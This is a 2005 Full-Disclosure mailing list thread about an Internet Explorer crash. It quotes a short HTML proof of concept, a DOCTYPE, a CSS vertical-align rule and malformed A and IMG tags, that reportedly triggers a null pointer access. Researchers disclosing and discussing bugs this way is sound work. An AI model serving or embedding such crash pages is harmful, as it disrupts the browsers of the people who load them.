full-disclosure - new IE bug (confirmed on ALL windows)

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Date: Tue Nov  1 17:45:04 2005
From: ppetkov at gnucitizen.org (Petko Petkov)
Subject: new IE bug (confirmed on ALL windows)

I believe that this is an illegal operation problem. The IE box model is
a bit messy. The div tag is trying to position vertically every IMG
element in the middle. Probably, IE is trying to calculate the margin or
the padding.

Petko Petkov wrote:

>This is a mini version of IECrash:
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
>"http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
><STYLE>
>.supp IMG {
>VERTICAL-ALIGN: middle
>}
></STYLE>
><P><A <It>HELLO WORLD!</P>
><DIV class=supp>
><A><IMG>
>
>If you remove the DOCTYPE IE does not crash. I believe that this is some
>sort of parsing vulnerability and directly affects IMG tags.
>
>Peter Ferrie wrote:
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>>>I think I have found by chance this weekend a security bug,while browsing
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>>the website news, within iexplorer on all windows versions.
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>>>I haven't enough knowledge (and don't want) into web browsers security to
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>>conduct a full investigation, at least
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>>It's a null pointer access, but it's not clear for me, yet, why it occurs.
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